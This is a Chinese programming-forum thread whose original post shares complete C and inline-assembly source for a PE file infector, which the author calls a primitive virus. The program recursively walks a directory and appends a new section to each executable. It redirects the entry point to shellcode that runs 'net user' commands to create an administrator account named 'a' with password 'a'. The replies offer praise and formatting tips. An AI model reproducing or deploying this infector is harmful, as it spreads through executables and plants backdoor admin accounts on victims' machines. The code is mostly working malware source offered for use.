鱼C论坛

 找回密码
 立即注册
查看: 8613|回复: 21

[技术交流] 【原创】添加节进行PE感染(技术交流)(原始病毒)

[复制链接]
发表于 2014-11-8 14:37:15 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能^_^

您需要 登录 才可以下载或查看,没有账号?立即注册

x
相信看过鱼哥视频的。。都应该知道鱼哥曾经说过给exe程序添加一段代码进行pe感染的事吧。。
下面是以前学习的时候写的一个PE感染程序。。(最原始的病毒哈。。)


  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include <assert.h>


  4. //本程序只适用于载入基址定位的。。。非随机基址
  5. //感染指定目录的PE文件
  6. char ItIs[MAX_PATH] = "D:\\桌面\\感染PE\\感染目录";
  7. //添加了一个新节区
  8. //然后shellcode是添加一个名为a,密码为a的administrator
  9. //然后PEB定位kernel32只在我的win7 x64电脑上测试成功,可以稍许修改,以通用




  10. //函数功能: 以ALIGN_BASE为对齐度对齐size
  11. //参数说明:
  12. //size:需要对齐的大小
  13. //ALIGN_BASE:对齐度
  14. //返回值:返回对齐后的大小
  15. DWORD Align(DWORD size, DWORD ALIGN_BASE)
  16. {
  17. assert(0 != ALIGN_BASE);
  18. if (size % ALIGN_BASE)
  19. {
  20. size = (size/ALIGN_BASE + 1) * ALIGN_BASE;
  21. }
  22. return size;
  23. }


  24. //函数功能: 检测感染标识和设置感染标识
  25. //参数说明:
  26. //pDosHdr:执行DOS头
  27. //返回值:是否未被感染, 是->TRUE, 否->FALSE
  28. BOOL SetFectFlag(PIMAGE_DOS_HEADER &pDosHdr)
  29. {
  30. if (*(DWORD*)pDosHdr->e_res2 == 0x4B4B43)
  31. {
  32. return FALSE;
  33. }
  34. else
  35. {
  36. *(DWORD*)pDosHdr->e_res2 = 0x4B4B43;
  37. return TRUE;
  38. }
  39. }


  40. //函数功能:打开文件并判断文件类型
  41. //参数说明:
  42. //szPath:文件绝对路径
  43. //lpMemory:保存文件内存映射地址
  44. //返回值:是否是PE文件, 是->TRUE, 否->FALSE
  45. BOOL CreateFileAndCheck(char *szPath, LPVOID &lpMemory, HANDLE &hFile)
  46. {
  47. //打开文件
  48. hFile = CreateFileA(szPath, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  49. if (hFile == INVALID_HANDLE_VALUE)
  50. {
  51. //printf("CreateFileA %s Failed! ErrorCode = %d\n", szPath, GetLastError());
  52. return FALSE;
  53. }
  54. HANDLE hMap = CreateFileMappingA(hFile, NULL, PAGE_READWRITE, NULL, NULL, NULL);
  55. if (!hMap)
  56. {
  57. //printf("CreateFileMappingA %s Failed! ErrorCode = %d\n", szPath, GetLastError());
  58. return FALSE;
  59. }
  60. lpMemory = MapViewOfFile(hMap, FILE_MAP_READ|FILE_MAP_WRITE, NULL, NULL, NULL);
  61. if (!lpMemory)
  62. {
  63. //printf("MapViewOfFile %s Failed! ErrorCode = %d\n", szPath, GetLastError());
  64. CloseHandle(hMap);
  65. return FALSE;
  66. }


  67. CloseHandle(hMap);
  68. return TRUE;
  69. }


  70. //函数功能: 感染指定文件
  71. //参数说明:
  72. //szPath:文件绝对路径
  73. void FectPE(char *szPath)
  74. {
  75. LPVOID lpMemory;
  76. HANDLE hFile;
  77. if (!CreateFileAndCheck(szPath, lpMemory, hFile))
  78. {
  79. return;
  80. }
  81. PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)lpMemory;
  82. //判断DOS标识
  83. if (*(WORD*)pDosHdr != 23117)
  84. goto Err;


  85. PIMAGE_NT_HEADERS32 pNtHdr = (PIMAGE_NT_HEADERS32)( *(DWORD*)&pDosHdr + (DWORD)pDosHdr->e_lfanew);
  86. //判断NT标识
  87. if (*(WORD*)pNtHdr != 17744)
  88. goto Err;


  89. //设置感染标识
  90. if (!SetFectFlag(pDosHdr))
  91. goto Err;


  92. //检查可用空间
  93. if ((pNtHdr->FileHeader.NumberOfSections + 1) * sizeof(IMAGE_SECTION_HEADER) > pNtHdr->OptionalHeader.SizeOfHeaders)
  94. goto Err;


  95. PIMAGE_SECTION_HEADER pSecHdr = (PIMAGE_SECTION_HEADER)(*(DWORD*)&pNtHdr + sizeof(IMAGE_NT_HEADERS32));
  96. PIMAGE_SECTION_HEADER pNewHdr = (PIMAGE_SECTION_HEADER)(pSecHdr + pNtHdr->FileHeader.NumberOfSections);
  97. PIMAGE_SECTION_HEADER pLastHdr = (PIMAGE_SECTION_HEADER)(pNewHdr - 1);


  98. //检测是否有附加数据
  99. DWORD i = 0;
  100. DWORD size = pSecHdr->PointerToRawData;
  101. for ( ; i<pNtHdr->FileHeader.NumberOfSections; i++)
  102. {
  103. size += Align(pSecHdr.SizeOfRawData, pNtHdr->OptionalHeader.FileAlignment);
  104. }
  105. if (size != GetFileSize(hFile, 0))
  106. {
  107. return;//有附加数据
  108. }


  109. goto shellend;
  110. _asm
  111. {
  112. shellstart:
  113. pushad
  114. mov eax,fs:[0x30];得到PEB结构地址
  115. mov eax,[eax + 0x0c];得到PEB_LDR_DATA结构地址
  116. mov esi,[eax + 0x1c]
  117. lodsd;得到KERNEL32.DLL所在LDR_MODULE结构的
  118. ;InInitializationOrderModuleList地址
  119. mov eax,[eax];win7要加/ 好吧其实本人
  120. mov eax,[eax + 0x08];得到BaseAddress,既Kernel32.dll基址
  121. movebp,eax


  122. moveax,dword ptr[eax+0x3c];指向IMAGE_NT_HEADERS
  123. moveax,dword ptr[eax+ebp+0x78];指向导出表
  124. mov ecx,[ebp+eax+24];得到NumberOfNames
  125. movebx,[ebp+eax+32];得到AddressOfNames
  126. addebx,ebp

  127. push dword ptr 0x00007373;构造GetProcAddress字符串
  128. push dword ptr 0x65726464
  129. push dword ptr 0x41636F72
  130. push dword ptr 0x50746547
  131. movedx,esp
  132. push ecx
  133. loc1:
  134. mov edi,edx
  135. pop ecx
  136. dec ecx
  137. test ecx,ecx
  138. jz exit;其实这个啥用都没,我勒个去
  139. mov esi,[ebx+ecx*4]
  140. add esi,ebp
  141. push ecx
  142. mov ecx,15
  143. repz cmpsb
  144. test ecx,ecx
  145. jnz loc1


  146. pop ecx;ecx = 0x244
  147. mov esi,[ebp+eax+36];得到AddressOfNameOrdinals
  148. addesi,ebp
  149. movzx esi,word ptr[esi+ecx*2];得到AddressOfFunctions的序号
  150. mov edi,[ebp+eax+28];得到AddressOfFunctions
  151. addedi,ebp
  152. mov edi,[edi+esi*4];得到GetProcAddress函数地址
  153. addedi,ebp;edi = 0x771F1222


  154. /*xor ebx,ebx;构造LoadLibraryA字符串
  155. push ebx
  156. push dword ptr 0x41797261
  157. push dword ptr 0x7262694C
  158. push dword ptr 0x64616F4C
  159. push esp
  160. push ebp
  161. call edi;0x771F4977
  162. add esp,16;恢复堆栈

  163. push dword ptr 0x00006C6C;构造msvcrt.dll字符串
  164. push dword ptr 0x642E7472
  165. push dword ptr 0x6376736D
  166. push esp
  167. call eax;75AA0000
  168. add esp,12;恢复堆栈
  169. */
  170. push dword ptr 0x00636578;构造WinExec字符串ps:试过system 发现不行
  171. push dword ptr 0x456E6957
  172. push esp
  173. push ebp
  174. call edi;
  175. add esp,8
  176. push eax


  177. xor ebx,ebx;构造cmd /c net user a a /add
  178. push ebx
  179. push dword ptr 0x6464612F
  180. push dword ptr 0x20612061
  181. push dword ptr 0x20726573
  182. push dword ptr 0x75207465
  183. push dword ptr 0x6E20632F
  184. push dword ptr 0x20646D63
  185. push ebx
  186. mov ebx,esp
  187. add ebx,4
  188. push ebx
  189. call eax
  190. add esp,28;WinExec要少恢复4个字节
  191. pop eax


  192. push DWORD ptr 0x00646461;构造cmd /c net localgroup administrators a /add字符串
  193. push DWORD ptr 0X2F206120
  194. push DWORD ptr 0X73726F74
  195. push DWORD ptr 0X61727473
  196. push DWORD ptr 0X696E696D
  197. push DWORD ptr 0X64612070
  198. push DWORD ptr 0X756F7267
  199. push DWORD ptr 0X6C61636F
  200. push DWORD ptr 0X6C207465
  201. push DWORD ptr 0X6E20632F
  202. push DWORD ptr 0X20646D63
  203. push DWORD ptr 0
  204. mov ebx,esp
  205. add ebx,4
  206. push ebx
  207. call eax
  208. add esp,44
  209. exit:
  210. add esp,16
  211. popad
  212. mov eax,0x11111111
  213. jmp eax
  214. }
  215. shellend:
  216. PBYTE *pShell;
  217. DWORD nShellLen;
  218. _asm
  219. {
  220. lea eax,shellstart
  221. mov pShell,eax
  222. lea ebx,shellend
  223. sub ebx,eax
  224. mov nShellLen,ebx
  225. }
  226. //添加新节
  227. memcpy(pNewHdr->Name, ".CCK", 4);
  228. pNewHdr->VirtualAddress = pLastHdr->VirtualAddress + Align(pLastHdr->Misc.VirtualSize, pNtHdr->OptionalHeader.SectionAlignment);
  229. pNewHdr->PointerToRawData = pLastHdr->PointerToRawData + Align(pLastHdr->SizeOfRawData, pNtHdr->OptionalHeader.FileAlignment);
  230. //新加节virtualsize
  231. DWORD nSecSize = nShellLen;
  232. pNewHdr->Misc.VirtualSize = nSecSize;//这个值可以不是对齐的值 ps:貌似除了这个其他都要对齐哎╮(╯▽╰)╭
  233. pNewHdr->SizeOfRawData = Align(nSecSize, pNtHdr->OptionalHeader.FileAlignment);
  234. pNewHdr->Characteristics = IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE|IMAGE_SCN_MEM_EXECUTE;
  235. pNtHdr->FileHeader.NumberOfSections++;
  236. pNtHdr->OptionalHeader.SizeOfImage += Align(pNewHdr->Misc.VirtualSize, pNtHdr->OptionalHeader.SectionAlignment);//这个值必须是对齐的值
  237. pNtHdr->OptionalHeader.SizeOfCode += Align(pNewHdr->SizeOfRawData, pNtHdr->OptionalHeader.FileAlignment);//话说这个好像可要可不要
  238. //FlushViewOfFile(pDosHdr, 0);


  239. //写入shellcode
  240. DWORD dwNum1 = 0;
  241. SetFilePointer(hFile, 0, 0, FILE_END);
  242. WriteFile(hFile, pShell, nShellLen, &dwNum1, NULL);
  243. SetFilePointer(hFile, -6, 0, FILE_CURRENT);
  244. DWORD dwOldOp = pNtHdr->OptionalHeader.AddressOfEntryPoint;
  245. //printf("原始入口点: %XH\n", dwOldOp);
  246. dwOldOp += pNtHdr->OptionalHeader.ImageBase;
  247. //printf("原始程序加载点: %XH\n", dwOldOp);
  248. WriteFile(hFile, &dwOldOp, 4, &dwNum1, NULL);


  249. //写入剩余字节
  250. PBYTE pByte = (PBYTE)malloc(pNewHdr->SizeOfRawData-nShellLen);
  251. ZeroMemory(pByte, pNewHdr->SizeOfRawData-nShellLen);
  252. DWORD dwNum = 0;
  253. SetFilePointer(hFile, 0, 0, FILE_END);
  254. WriteFile(hFile, pByte, pNewHdr->SizeOfRawData-nShellLen, &dwNum, NULL);
  255. //FlushFileBuffers(hFile);
  256. free(pByte);


  257. pNtHdr->OptionalHeader.AddressOfEntryPoint = pNewHdr->VirtualAddress;
  258. //printf("新入口点: %X\n", pNewHdr->VirtualAddress);


  259. Err:
  260. CloseHandle(hFile);
  261. UnmapViewOfFile(lpMemory);
  262. }


  263. //函数功能: 扫描查找文件
  264. //参数说明:
  265. //szPath:需要扫描的目录
  266. void FindFile(char *szPath)
  267. {
  268. WIN32_FIND_DATAA FindFileData;

  269. char szFileToFind[MAX_PATH] = {0};
  270. lstrcpyA(szFileToFind, szPath);
  271. lstrcatA(szFileToFind, "\\*.*");


  272. //查找目录下所有文件
  273. HANDLE hFile = FindFirstFileA(szFileToFind, &FindFileData);
  274. if (hFile == INVALID_HANDLE_VALUE)
  275. {
  276. printf("FindFirstFileA Failed!\n");
  277. return;
  278. }
  279. do
  280. {
  281. char szNewPath[MAX_PATH] = {0};
  282. lstrcpyA(szNewPath, szPath);


  283. //判断是否是目录
  284. if (FindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY)
  285. {
  286. //判断是否是.或..
  287. if (!lstrcmpA(FindFileData.cFileName, ".") || !lstrcmpA(FindFileData.cFileName, "..")){}
  288. else
  289. {
  290. //递归查找下级目录
  291. lstrcatA(szNewPath, "\");
  292. lstrcatA(szNewPath, FindFileData.cFileName);
  293. FindFile(szNewPath);
  294. }
  295. }
  296. else
  297. {
  298. //处理查找到的文件
  299. char szExe[MAX_PATH] = {0};
  300. lstrcpyA(szExe, szNewPath);
  301. lstrcatA(szExe, "\");
  302. lstrcatA(szExe, FindFileData.cFileName);
  303. FectPE(szExe);
  304. }
  305. } while (FindNextFileA(hFile, &FindFileData));


  306. FindClose(hFile);
  307. }


  308. //主函数
  309. int main()
  310. {
  311. FindFile(ItIs);


  312. return 0;
  313. }
复制代码


评分

参与人数 7荣誉 +28 鱼币 +28 贡献 +15 收起 理由
pheron + 1 + 1 鱼C有你更精彩^_^
freeparty + 1 + 1 支持楼主!
chishubiao + 5 + 5 难得的给力帖子啊,
隐袭战龙 + 1 + 1 感谢楼主无私奉献!
小甲鱼 + 10 + 10 + 10 嘿嘿,不错~
拈花小仙 + 5 + 5 热爱鱼C^_^
康小泡 + 5 + 5 + 5 热爱鱼C^_^

查看全部评分

想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

发表于 2014-11-10 21:46:38 | 显示全部楼层
强烈支持青青哦~
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2014-11-10 21:47:34 | 显示全部楼层
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2014-11-10 21:50:33 | 显示全部楼层
青青,你和飞飞还是不是人呀,学渗透的,破解技术还这么高~
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2014-11-10 21:56:56 | 显示全部楼层
支持楼主!!!
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2014-11-11 15:57:32 | 显示全部楼层
为啥缩进格式不见了?
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2014-11-11 22:02:56 | 显示全部楼层
膜拜青牛
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2014-11-11 22:12:52 | 显示全部楼层
拈花小仙 发表于 2014-11-10 21:50
青青,你和飞飞还是不是人呀,学渗透的,破解技术还这么高~

我学逆向的。。没学渗透。。只不过知道渗透的一些东西
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2014-11-11 22:13:02 | 显示全部楼层

:ton:
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2014-11-11 22:13:40 | 显示全部楼层
小甲鱼 发表于 2014-11-11 15:57
为啥缩进格式不见了?

不知道啊。。鱼哥。。我都是直接复制过来的。。应该是复制到那个<>里面的时候。。缩进被去掉了。。。
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2014-11-11 22:13:59 | 显示全部楼层

你是谁???。。。难道认识?。。学弟??
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2014-11-12 02:39:40 | 显示全部楼层
向往青莲 发表于 2014-11-11 22:13
不知道啊。。鱼哥。。我都是直接复制过来的。。应该是复制到那个里面的时候。。缩进被去掉了。。。

使用匹配格式粘贴(无格式粘贴)进去试试,如果不行的话可以在编译器中将TAB键设置为空格即可。
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2014-11-12 11:31:36 | 显示全部楼层
向往青莲 发表于 2014-11-11 22:13
你是谁???。。。难道认识?。。学弟??

我是山鸟
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2014-11-12 11:41:58 | 显示全部楼层

卧槽。。。你居然是VPI哇。。。山鸡学弟。。。么么哒。。我要咬死你
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2014-11-12 18:25:45 | 显示全部楼层
向往青莲 发表于 2014-11-12 11:41
卧槽。。。你居然是VPI哇。。。山鸡学弟。。。么么哒。。我要咬死你

青儿学姐么么达,是VIP,支持小甲鱼大哥嘛
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2014-12-7 11:15:05 From FishC Mobile | 显示全部楼层
我去。学习一下。感觉不错的样子
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2014-12-8 09:11:31 | 显示全部楼层
向往青莲 发表于 2014-11-11 22:13
不知道啊。。鱼哥。。我都是直接复制过来的。。应该是复制到那个里面的时候。。缩进被去掉了。。。

全选,ALT+F8,自动缩进
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2014-12-17 22:12:10 | 显示全部楼层
不错,很不错的文档~~~
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2015-4-23 15:30:13 | 显示全部楼层
楼主,你还在吗,我想跟你请教问题
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2018-10-24 09:46:06 | 显示全部楼层
不错不错
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|手机版|Archiver|鱼C工作室 ( 粤ICP备18085999号-1 | 粤公网安备 44051102000585号)

GMT+8, 2024-4-25 09:06

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表